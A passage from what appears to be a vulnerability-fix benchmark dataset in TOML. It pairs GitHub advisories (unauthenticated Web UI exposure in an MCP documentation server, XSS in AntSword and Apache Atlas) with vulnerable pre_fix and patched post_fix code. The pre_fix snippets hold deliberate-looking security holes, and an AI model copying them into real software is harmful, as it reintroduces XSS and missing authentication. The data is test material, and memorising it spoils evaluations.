Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations.\n\nA safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints." +commit = "37159d4e06b8ee50c3645b2496e3d3f6d32c47f9" +cwe = "CWE-306" +family = "access_control" +function = "startWebServer" +function_lines = [[24, 41]] +id = "andrea9293-mcp-documentation-server-0913a4303cf82c9a" +language = "typescript" +method = "fix_site" +parent = "06d28086dd3fe120978bfa4a49a0a93c7bba8449" +path = "src/web-server.ts" +post_fix = "export async function startWebServer(portArg?: number, sharedManager?: DocumentManager) {\n const PORT = parseInt(String(portArg || process.env.WEB_PORT || '3080'));\n const HOST = process.env.WEB_HOST || '127.0.0.1';\n\n// Middleware\napp.use(express.json({ limit: '50mb' }));\napp.use(express.urlencoded({ extended: true, limit: '50mb' }));\n\n// Serve static files from public directory\nconst publicDir = path.join(__dirname, '..', 'src', 'public');\nconst distPublicDir = path.join(__dirname, 'public');\n// Try dist/public first (production), fall back to src/public (dev)\n\nconst staticDir = existsSync(distPublicDir) ? distPublicDir : publicDir;\napp.use(express.static(staticDir));\n\n// Lazy document manager initialization (uses shared instance if provided)\nlet documentManager: DocumentManager | undefined = sharedManager;\n" +pre_fix = "export async function startWebServer(portArg?: number, sharedManager?: DocumentManager) {\n const PORT = parseInt(String(portArg || process.env.WEB_PORT || '3080'));\n\n// Middleware\napp.use(express.json({ limit: '50mb' }));\napp.use(express.urlencoded({ extended: true, limit: '50mb' }));\n\n// Serve static files from public directory\nconst publicDir = path.join(__dirname, '..', 'src', 'public');\nconst distPublicDir = path.join(__dirname, 'public');\n// Try dist/public first (production), fall back to src/public (dev)\n\nconst staticDir = existsSync(distPublicDir) ? distPublicDir : publicDir;\napp.use(express.static(staticDir));\n\n// Lazy document manager initialization (uses shared instance if provided)\nlet documentManager: DocumentManager | undefined = sharedManager;\n" +repo = "andrea9293/mcp-documentation-server" +url = "https://github.com/andrea9293/mcp-documentation-server.git" + +[[case]] +advisory = "GHSA-hq75-ggc3-8h3q" +advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." +commit = "4b932e81447b4b0475f4fce45525547395c249d3" +cwe = "CWE-79" +family = "output_encoding" +function = "parse" +function_lines = [[114, 143]] +id = "antswordproject-antsword-0abdb762876f58b3" +language = "javascript" +method = "fix_site" +parent = "e5230965f70908f4864afbcd1bc5765b429456f7" +path = "source/modules/database/custom/index.js" +post_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: antSword.noxss(conf[_]['type'].toUpperCase()),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" +pre_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: conf[_]['type'].toUpperCase(),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" +repo = "antswordproject/antsword" +url = "https://github.com/AntSwordProject/antSword.git" + +[[case]] +advisory = "GHSA-hq75-ggc3-8h3q" +advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." +commit = "4b932e81447b4b0475f4fce45525547395c249d3" +cwe = "CWE-79" +family = "output_encoding" +function = "parse" +function_lines = [[279, 307]] +id = "antswordproject-antsword-4b97e82397da81ee" +language = "javascript" +method = "fix_site" +parent = "e5230965f70908f4864afbcd1bc5765b429456f7" +path = "source/modules/database/php/index.js" +post_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n text: antSword.noxss(`${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" +pre_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" +repo = "antswordproject/antsword" +url = "https://github.com/AntSwordProject/antSword.git" + +[[case]] +advisory = "GHSA-hq75-ggc3-8h3q" +advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." +commit = "4b932e81447b4b0475f4fce45525547395c249d3" +cwe = "CWE-79" +family = "output_encoding" +function = "checkprobe" +function_lines = [[207, 273]] +id = "antswordproject-antsword-98183d78558cfa95" +language = "javascript" +method = "fix_site" +parent = "e5230965f70908f4864afbcd1bc5765b429456f7" +path = "source/modules/database/index.js" +post_fix = " checkprobe() {\n let that = this;\n let win = that.createWin({\n title: LANG['probedb']['title'],\n width: 350,\n height: 400,\n });\n const func_mapping = {\n // PHP\n 'mysql_close': 'MYSQL',\n 'mysqli_close': 'MYSQLI',\n 'mssql_close': 'MSSQL',\n 'sqlsrv_close': 'SQLSRV',\n 'ora_close': 'ORACLE',\n 'oci_close': 'ORACLE_OCI8',\n 'ifx_close': 'INFORMIX',\n 'sqlite_close': 'SQLite',\n 'pg_close': 'PostgreSQL',\n 'dba_close': 'DBA',\n 'dbmclose': 'DBM',\n 'filepro_fieldcount': 'FilePro',\n 'sybase_close': 'SyBase',\n }\n let grid = win.attachGrid();\n grid.clearAll();\n grid.setHeader(`${LANG['probedb']['coltype']},${LANG['probedb']['issupport']}`);\n grid.setColTypes(\"ro,ro\");\n grid.setColSorting('str,str');\n grid.setColumnMinWidth(100, 50);\n grid.setInitWidths(\"*\");\n grid.setEditable(false);\n grid.init();\n win.progressOn();\n that.drive.core.request(\n that.drive.core.base.probedb()\n ).then((ret) => {\n if(ret['text'].indexOf(\"ERROR://\") > -1){\n throw res[\"text\"];\n }\n let _data = ret['text'].split('\\n');\n let data_arr = [];\n for (let i = 0; i < _data.length; i ++) {\n let item = _data[i].split('\\t');\n if(item.length<2){continue;}\n data_arr.push({\n id: i+1,\n data: [\n func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : antSword.noxss(item[0]),\n parseInt(item[1]) === 1 ? \"√\" : \"×\",\n ],\n style: parseInt(item[1]) === 1 ? \"background-color:#ADF1B9\": \"\",\n });\n }\n grid.parse({\n 'rows': data_arr\n }, 'json');\n toastr.success(LANG['probedb']['success'], LANG_T['success']);\n win.progressOff();\n }).catch((err)=>{\n win.progressOff();\n toastr.error(JSON.stringify(err), LANG_T['error']);\n });\n }\n}\n\n// export default Database;\nmodule.exports = Database;" +pre_fix = " checkprobe() {\n let that = this;\n let win = that.createWin({\n title: LANG['probedb']['title'],\n width: 350,\n height: 400,\n });\n const func_mapping = {\n // PHP\n 'mysql_close': 'MYSQL',\n 'mysqli_close': 'MYSQLI',\n 'mssql_close': 'MSSQL',\n 'sqlsrv_close': 'SQLSRV',\n 'ora_close': 'ORACLE',\n 'oci_close': 'ORACLE_OCI8',\n 'ifx_close': 'INFORMIX',\n 'sqlite_close': 'SQLite',\n 'pg_close': 'PostgreSQL',\n 'dba_close': 'DBA',\n 'dbmclose': 'DBM',\n 'filepro_fieldcount': 'FilePro',\n 'sybase_close': 'SyBase',\n }\n let grid = win.attachGrid();\n grid.clearAll();\n grid.setHeader(`${LANG['probedb']['coltype']},${LANG['probedb']['issupport']}`);\n grid.setColTypes(\"ro,ro\");\n grid.setColSorting('str,str');\n grid.setColumnMinWidth(100, 50);\n grid.setInitWidths(\"*\");\n grid.setEditable(false);\n grid.init();\n win.progressOn();\n that.drive.core.request(\n that.drive.core.base.probedb()\n ).then((ret) => {\n if(ret['text'].indexOf(\"ERROR://\") > -1){\n throw res[\"text\"];\n }\n let _data = ret['text'].split('\\n');\n let data_arr = [];\n for (let i = 0; i < _data.length; i ++) {\n let item = _data[i].split('\\t');\n if(item.length<2){continue;}\n data_arr.push({\n id: i+1,\n data: [\n func_mapping.hasOwnProperty(item[0]) ? func_mapping[item[0]] : item[0],\n parseInt(item[1]) === 1 ? \"√\" : \"×\",\n ],\n style: parseInt(item[1]) === 1 ? \"background-color:#ADF1B9\": \"\",\n });\n }\n grid.parse({\n 'rows': data_arr\n }, 'json');\n toastr.success(LANG['probedb']['success'], LANG_T['success']);\n win.progressOff();\n }).catch((err)=>{\n win.progressOff();\n toastr.error(JSON.stringify(err), LANG_T['error']);\n });\n }\n}\n\n// export default Database;\nmodule.exports = Database;" +repo = "antswordproject/antsword" +url = "https://github.com/AntSwordProject/antSword.git" + +[[case]] +advisory = "GHSA-hq75-ggc3-8h3q" +advisory_text = "AntSword RCE and XSS via code injection\n\nIn antSword before 2.1.0, self-XSS in the database configuration leads to code execution via `modules/database/asp/index.js`, `modules/database/custom/index.js`, `modules/database/index.js`, or `modules/database/php/index.js`." +commit = "4b932e81447b4b0475f4fce45525547395c249d3" +cwe = "CWE-79" +family = "output_encoding" +function = "parse" +function_lines = [[129, 158]] +id = "antswordproject-antsword-b0cec123d7799276" +language = "javascript" +method = "fix_site" +parent = "e5230965f70908f4864afbcd1bc5765b429456f7" +path = "source/modules/database/asp/index.js" +post_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: antSword.noxss(conf[_]['type'].toUpperCase()),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" +pre_fix = " parse() {\n // 获取数据\n const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n const conf = info['database'] || {};\n // 刷新UI\n // 1.清空数据\n this.tree.deleteChildItems(0);\n // 2.添加数据\n let items = [];\n for (let _ in conf) {\n items.push({\n id: `conn::${_}`,\n // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n text: conf[_]['type'].toUpperCase(),\n im0: this.manager.list.imgs[0],\n im1: this.manager.list.imgs[0],\n im2: this.manager.list.imgs[0]\n });\n }\n // 3.刷新UI\n this.tree.parse({\n id: 0,\n item: items\n }, 'json');\n // 禁用按钮\n this.disableToolbar();\n this.disableEditor();\n }\n\n // 添加配置" +repo = "antswordproject/antsword" +url = "https://github.com/AntSwordProject/antSword.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "function" +function_lines = [[28, 925]] +id = "apache-atlas-0ba0aadbe86a1987" +language = "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboardv2/public/js/views/search/SearchLayoutView.js" +post_fix = "], function(require, Backbone, SearchLayoutViewTmpl, Utils, UrlLinks, Globals, Enums, VSearchList, CommonViewFunction, Modal) {\n 'use strict';\n\n var SearchLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends SearchLayoutView */\n {\n _viewName: 'SearchLayoutView',\n\n template: SearchLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n RSaveSearchBasic: \"[data-id='r_saveSearchBasic']\",\n RSaveSearchAdvance: \"[data-id='r_saveSearchAdvance']\",\n RRelationSearch: \"[data-id='r_relationshipSearch']\"\n },\n\n /** ui selector cache */\n ui: {\n searchInput: '[data-id=\"searchInput\"]',\n searchType: 'input[name=\"queryType\"]',\n searchBtn: '[data-id=\"searchBtn\"]',\n clearSearch: '[data-id=\"clearSearch\"]',\n typeLov: '[data-id=\"typeLOV\"]',\n tagLov: '[data-id=\"tagLOV\"]',\n termLov: '[data-id=\"termLOV\"]',\n refreshBtn: '[data-id=\"refreshBtn\"]',\n advancedInfoBtn: '[data-id=\"advancedInfo\"]',\n typeAttrFilter: '[data-id=\"typeAttrFilter\"]',\n tagAttrFilter: '[data-id=\"tagAttrFilter\"]',\n tablist: '[data-id=\"tab-searchlist\"] li',\n searchTabs:'[data-id=\"searchTabs\"]',\n searchTabBody:'[data-id=\"searchTabBody\"]',\n },\n\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.searchInput] = function(e) {\n var code = e.which;\n this.value.query = e.currentTarget.value;\n this.query[this.type].query = this.value.query;\n if (code == 13) {\n that.findSearchResult();\n }\n this.checkForButtonVisiblity();\n };\n events[\"change \" + this.ui.searchType] = 'dslFulltextToggle';\n events[\"click \" + this.ui.searchBtn] = 'findSearchResult';\n events[\"click \" + this.ui.clearSearch] = 'clearSearchData';\n events[\"change \" + this.ui.typeLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.tagLov] = 'checkForButtonVisiblity';\n events[\"change \" + this.ui.termLov] = 'checkForButtonVisiblity';\n events[\"click \" + this.ui.refreshBtn] = 'onRefreshButton';\n events[\"click \" + this.ui.advancedInfoBtn] = 'advancedInfo';\n events[\"click \" + this.ui.tablist] = function(e) {\n var tabValue = $(e.currentTarget).attr('role'),\n redirectionUrl = '#!/search';\n this.isRelationSearch = (tabValue === \"relationship-search\") ? true : false;\n if (this.isRelationSearch) {\n redirectionUrl = '#!/relationship';\n }\n Utils.setUrl({\n url: redirectionUrl,\n mergeBrowserUrl: false,\n trigger: true,\n updateTabState: true\n });\n };\n events[\"click \" + this.ui.typeAttrFilter] = function() {\n this.openAttrFilter('type');\n };\n events[\"click \" + this.ui.tagAttrFilter] = function() {\n this.openAttrFilter('tag');\n };\n return events;\n },\n /**\n * intialize a new SearchLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'typeHeaders', 'searchVent', 'entityDefCollection', 'enumDefCollection', 'classificationDefCollection', 'businessMetadataDefCollection', 'searchTableColumns', 'searchTableFilters', 'metricCollection', 'classificationAndMetricEvent'));\n this.type = \"basic\";\n this.entityCountObj = _.first(this.metricCollection.toJSON()) || { entity: { entityActive: {}, entityDeleted: {} }, tag: { tagEntities: {} } };\n this.selectedFilter = {\n 'basic': [],\n 'dsl': []\n };\n this.filterTypeSelected = null;\n var param = Utils.getUrlState.getQueryParams();\n this.query = {\n dsl: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null\n },\n basic: {\n query: this.value ? this.value.query : null,\n type: this.value ? this.value.type : null,\n tag: this.value ? this.value.tag : null,\n term: this.value ? this.value.term : null,\n attributes: this.value ? this.value.attributes : null,\n tagFilters: this.value ? this.value.tagFilters : null,\n pageOffset: this.value ? this.value.pageOffset : null,\n pageLimit: this.value ? this.value.pageLimit : null,\n entityFilters: this.value ? this.value.entityFilters : null,\n includeDE: this.value ? this.value.includeDE : null,\n excludeST: this.value ? this.value.excludeST : null,\n excludeSC: this.value ? this.value.excludeSC : null\n }\n };\n if (!this.value) {\n this.value = {};\n }\n this.dsl = false;\n if (param && param.searchType) {\n this.type = param.searchType;\n this.updateQueryObject(param);\n }\n if ((this.value && this.value.type) || (this.value && this.value.tag && this.value.searchType === \"basic\")) {\n this.setInitialEntityVal = false;\n } else {\n this.setInitialEntityVal = true;\n }\n this.tagEntityCheck = false;\n this.typeEntityCheck = false;\n this.bindEvents();\n this.isRelationSearch = false;\n this.renderRelationshipSearchView();\n },\n renderSaveSearch: function() {\n var that = this;\n require(['views/search/save/SaveSearchView'], function(SaveSearchView) {\n var saveSearchBaiscCollection = new VSearchList(),\n saveSearchAdvanceCollection = new VSearchList(),\n saveSearchCollection = new VSearchList();\n saveSearchCollection.url = UrlLinks.saveSearchApiUrl();\n saveSearchBaiscCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n saveSearchAdvanceCollection.fullCollection.comparator = function(model) {\n return model.get('name').toLowerCase();\n }\n var obj = {\n value: that.value,\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n fetchCollection: fetchSaveSearchCollection,\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection,\n getValue: function() {\n var queryObj = that.query[that.type],\n entityObj = that.searchTableFilters['entityFilters'],\n tagObj = that.searchTableFilters['tagFilters'],\n urlObj = Utils.getUrlState.getQueryParams();\n if (urlObj) {\n // includeDE value in because we need to send \"true\",\"false\" to the server.\n urlObj.includeDE = urlObj.includeDE == \"true\" ? true : false;\n urlObj.excludeSC = urlObj.excludeSC == \"true\" ? true : false;\n urlObj.excludeST = urlObj.excludeST == \"true\" ? true : false;\n }\n return _.extend({}, queryObj, urlObj, {\n 'entityFilters': entityObj ? entityObj[queryObj.type] : null,\n 'tagFilters': tagObj ? tagObj[queryObj.tag] : null,\n 'type': queryObj.type,\n 'query': queryObj.query,\n 'term': queryObj.term,\n 'tag': queryObj.tag\n })\n },\n applyValue: function(model, searchType) {\n that.manualRender(_.extend(searchType, CommonViewFunction.generateUrlFromSaveSearchObject({\n value: { \"searchParameters\": model.get('searchParameters'), 'uiParameters': model.get('uiParameters') },\n classificationDefCollection: that.classificationDefCollection,\n entityDefCollection: that.entityDefCollection\n })));\n }\n }\n that.RSaveSearchBasic.show(new SaveSearchView(_.extend(obj, {\n isBasic: true,\n collection: saveSearchBaiscCollection.fullCollection\n })));\n that.RSaveSearchAdvance.show(new SaveSearchView(_.extend(obj, {\n isBasic: false,\n collection: saveSearchAdvanceCollection.fullCollection\n })));\n\n function fetchSaveSearchCollection() {\n saveSearchCollection.fetch({\n success: function(collection, data) {\n saveSearchAdvanceCollection.fullCollection.reset(_.where(data, { \"searchType\": \"ADVANCED\" }));\n saveSearchBaiscCollection.fullCollection.reset(_.where(data, { \"searchType\": \"BASIC\" }));\n },\n silent: true\n });\n }\n fetchSaveSearchCollection();\n });\n },\n renderRelationshipSearchView: function() {\n var that = this;\n require(['views/search/RelationSearchLayoutView'], function(RelationSearchLayoutView) {\n that.RRelationSearch.show(new RelationSearchLayoutView(that.options));\n });\n },\n bindEvents: function(param) {\n var that = this;\n this.listenTo(this.typeHeaders, \"reset\", function(value) {\n this.initializeValues();\n }, this);\n this.listenTo(this.searchVent, \"entityList:refresh\", function(model, response) {\n this.onRefreshButton();\n }, this);\n this.classificationAndMetricEvent.on(\"classification:Update:Search\", function(options) {\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n that.value = Utils.getUrlState.getQueryParams() || {};\n if (!that.value.type) that.setInitialEntityVal = true;\n that.initializeValues();\n });\n },\n initializeValues: function() {\n this.renderTypeTagList();\n this.renderTermList();\n this.setValues();\n this.checkForButtonVisiblity();\n this.renderSaveSearch();\n if (this.setInitialEntityVal) {\n this.setInitialEntityVal = false;\n }\n },\n makeFilterButtonActive: function(filtertypeParam) {\n var filtertype = ['entityFilters', 'tagFilters'],\n that = this;\n if (filtertypeParam) {\n if (_.isArray(filtertypeParam)) {\n filtertype = filtertypeParam;\n } else if (_.isString(filtertypeParam)) {\n filtertype = [filtertypeParam];\n }\n }\n var typeCheck = function(filterObj, type) {\n if (that.value.type) {\n if (filterObj && filterObj.length) {\n that.ui.typeAttrFilter.addClass('active');\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n }\n that.ui.typeAttrFilter.prop('disabled', false);\n } else {\n that.ui.typeAttrFilter.removeClass('active');\n that.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n var tagCheck = function(filterObj, type) {\n var filterAddOn = Enums.addOnClassification.filter(function(a) { a !== Enums.addOnClassification[0] });\n if (that.value.tag && !_.includes(filterAddOn, that.value.tag)) {\n that.ui.tagAttrFilter.prop('disabled', false);\n if (filterObj && filterObj.length) {\n that.ui.tagAttrFilter.addClass('active');\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n }\n } else {\n that.ui.tagAttrFilter.removeClass('active');\n that.ui.tagAttrFilter.prop('disabled', true);\n }\n }\n _.each(filtertype, function(type) {\n var filterObj = that.searchTableFilters[type];\n if (type == \"entityFilters\") {\n typeCheck(filterObj[that.value.type], type);\n }\n if (type == \"tagFilters\") {\n tagCheck(filterObj[that.value.tag], type);\n }\n });\n },\n checkForButtonVisiblity: function(e, options) {\n var that = this,\n isBasicSearch = (this.type == \"basic\");\n if (e && e.currentTarget) {\n var $el = $(e.currentTarget),\n isTagEl = $el.data('id') == \"tagLOV\",\n isTermEl = $el.data('id') == \"termLOV\",\n isTypeEl = $el.data('id') == \"typeLOV\",\n select2Data = $el.select2('data');\n if (e.type == \"change\" && select2Data) {\n var value = (_.isEmpty(select2Data) ? select2Data : _.first(select2Data).id),\n key = \"tag\",\n filterType = isBasicSearch ? 'tagFilters' : null,\n value = value && value.length ? value : null;\n if (!isTagEl) {\n key = (isTermEl ? \"term\" : \"type\");\n if (isBasicSearch) {\n filterType = (isTypeEl ? \"entityFilters\" : null);\n }\n }\n if (this.value) {\n //On Change handle\n if (this.value[key] !== value || (!value && !this.value[key])) {\n var temp = {};\n temp[key] = value;\n _.extend(this.value, temp);\n // on change of type/tag change the offset.\n if (_.isUndefined(options)) {\n this.value.pageOffset = 0;\n }\n _.extend(this.query[this.type], temp);\n } else if (isBasicSearch) {\n // Initial loading handle.\n if (filterType) {\n var filterObj = this.searchTableFilters[filterType];\n if (filterObj && this.value[key]) {\n this.searchTableFilters[filterType][this.value[key]] = this.value[filterType] ? this.value[filterType] : null;\n }\n }\n\n if (this.value.type) {\n if (this.value.attributes) {\n var attributes = _.sortBy(this.value.attributes.split(',')),\n tableColumn = this.searchTableColumns[this.value.type];\n if (_.isEmpty(this.searchTableColumns) || !tableColumn) {\n this.searchTableColumns[this.value.type] = attributes\n } else if (tableColumn.join(\",\") !== attributes.join(\",\")) {\n this.searchTableColumns[this.value.type] = attributes;\n }\n } else if (this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = undefined;\n }\n }\n }\n if (isBasicSearch && filterType) {\n this.makeFilterButtonActive(filterType);\n }\n } else if (isBasicSearch) {\n this.ui.tagAttrFilter.prop('disabled', true);\n this.ui.typeAttrFilter.prop('disabled', true);\n }\n }\n }\n\n var value = this.ui.searchInput.val() || _.first($(this.ui.typeLov).select2('data')).id;\n if (!this.dsl && _.isEmpty(value)) {\n var termData = _.first($(this.ui.termLov).select2('data'));\n value = _.first($(this.ui.tagLov).select2('data')).id || (termData ? termData.id : \"\");\n }\n if (value && value.length) {\n this.ui.searchBtn.removeAttr(\"disabled\");\n setTimeout(function() {\n that.ui.searchInput.focus();\n }, 0);\n } else {\n this.ui.searchBtn.attr(\"disabled\", \"true\");\n }\n },\n onRender: function() {\n // array of tags which is coming from url\n this.initializeValues();\n this.updateTabState();\n if(!Globals.isRelationshipSearchEnabled){ // hide relationship search\n this.ui.searchTabs.addClass(\"disable-relationship-search\");\n this.ui.searchTabBody.addClass(\"search-tab-body\");\n }\n },\n updateTabState: function() {\n if ((Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) && !this.isRelationSearch) {\n var tabActive = (Utils.getUrlState.isRelationTab() || Utils.getUrlState.isRelationshipDetailPage()) ? \"relationship-search\" : \"basic-search\";\n this.$('.nav.nav-tabs').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n this.$('.tab-content').find('[role=\"' + tabActive + '\"]').addClass('active').siblings().removeClass('active');\n }\n },\n updateQueryObject: function(param) {\n if (param && param.searchType) {\n this.type = param.searchType;\n }\n _.extend(this.query[this.type],\n (this.type == \"dsl\" ? {\n query: null,\n type: null,\n pageOffset: null,\n pageLimit: null\n } : {\n query: null,\n type: null,\n tag: null,\n term: null,\n attributes: null,\n tagFilters: null,\n pageOffset: null,\n pageLimit: null,\n entityFilters: null,\n includeDE: null\n }), param);\n },\n onRefreshButton: function() {\n Utils.disableRefreshButton(this.ui.refreshBtn, this);\n var that = this,\n apiCount = 2,\n updateSearchList = function() {\n if (apiCount === 0) {\n that.initializeValues();\n var checkURLValue = Utils.getUrlState.getQueryParams(that.url);\n if (that.searchVent && (_.has(checkURLValue, \"tag\") || _.has(checkURLValue, \"type\") || _.has(checkURLValue, \"query\"))) {\n that.searchVent.trigger('search:refresh');\n }\n }\n };\n this.metricCollection.fetch({\n complete: function() {\n --apiCount;\n that.entityCountObj = _.first(that.metricCollection.toJSON());\n updateSearchList();\n }\n });\n\n this.typeHeaders.fetch({\n silent: true,\n complete: function() {\n --apiCount;\n updateSearchList();\n }\n });\n },\n advancedInfo: function(e) {\n require([\n 'views/search/AdvancedSearchInfoView',\n 'modules/Modal'\n ], function(AdvancedSearchInfoView, Modal) {\n var view = new AdvancedSearchInfoView();\n var modal = new Modal({\n title: 'Advanced Search Queries',\n content: view,\n okCloses: true,\n showFooter: true,\n allowCancel: false\n }).open();\n view.on('closeModal', function() {\n modal.trigger('cancel');\n });\n });\n },\n openAttrFilter: function(filterType) {\n var that = this;\n require(['views/search/SearchQueryView'], function(SearchQueryView) {\n that.attrModal = new SearchQueryView({\n value: that.value,\n tag: (filterType === \"tag\" ? true : false),\n type: (filterType === \"type\" ? true : false),\n searchVent: that.searchVent,\n typeHeaders: that.typeHeaders,\n entityDefCollection: that.entityDefCollection,\n enumDefCollection: that.enumDefCollection,\n classificationDefCollection: that.classificationDefCollection,\n businessMetadataDefCollection: that.businessMetadataDefCollection,\n searchTableFilters: that.searchTableFilters,\n\n });\n that.attrModal.on('ok', function(scope, e) {\n that.okAttrFilterButton(e);\n });\n });\n },\n okAttrFilterButton: function(e) {\n var that = this,\n isTag = this.attrModal.tag ? true : false,\n filtertype = isTag ? 'tagFilters' : 'entityFilters',\n queryBuilderRef = this.attrModal.RQueryBuilder.currentView.ui.builder,\n col = [];\n\n function getIdFromRuleObject(rule) {\n _.map(rule.rules, function(obj, key) {\n if (_.has(obj, 'condition')) {\n return getIdFromRuleObject(obj);\n } else {\n return col.push(obj.id)\n }\n });\n return col;\n }\n if (queryBuilderRef.data('queryBuilder')) {\n var rule = queryBuilderRef.queryBuilder('getRules');\n }\n if (rule) {\n var ruleUrl = CommonViewFunction.attributeFilter.generateUrl({ \"value\": rule, \"formatedDateToLong\": true });\n this.searchTableFilters[filtertype][(isTag ? this.value.tag : this.value.type)] = ruleUrl;\n this.makeFilterButtonActive(filtertype);\n if (!isTag && this.value && this.value.type && this.searchTableColumns) {\n if (!this.searchTableColumns[this.value.type]) {\n this.searchTableColumns[this.value.type] = [\"selected\", \"name\", \"owner\", \"description\", \"tag\", \"typeName\"]\n }\n this.searchTableColumns[this.value.type] = _.sortBy(_.union(this.searchTableColumns[this.value.type], getIdFromRuleObject(rule)));\n }\n if (rule.rules) {\n if (!isTag && !that.tagEntityCheck) {\n var state = _.find(rule.rules, { id: \"__state\" });\n if (state) {\n that.typeEntityCheck = (state.value === \"ACTIVE\" && state.operator === \"=\") || (state.value === \"DELETED\" && state.operator === \"!=\") ? false : true;\n that.value.includeDE = that.typeEntityCheck;\n } else if (that.typeEntityCheck) {\n that.typeEntityCheck = false;\n if (!that.tagEntityCheck) {\n that.value.includeDE = false;\n }\n }\n }\n if 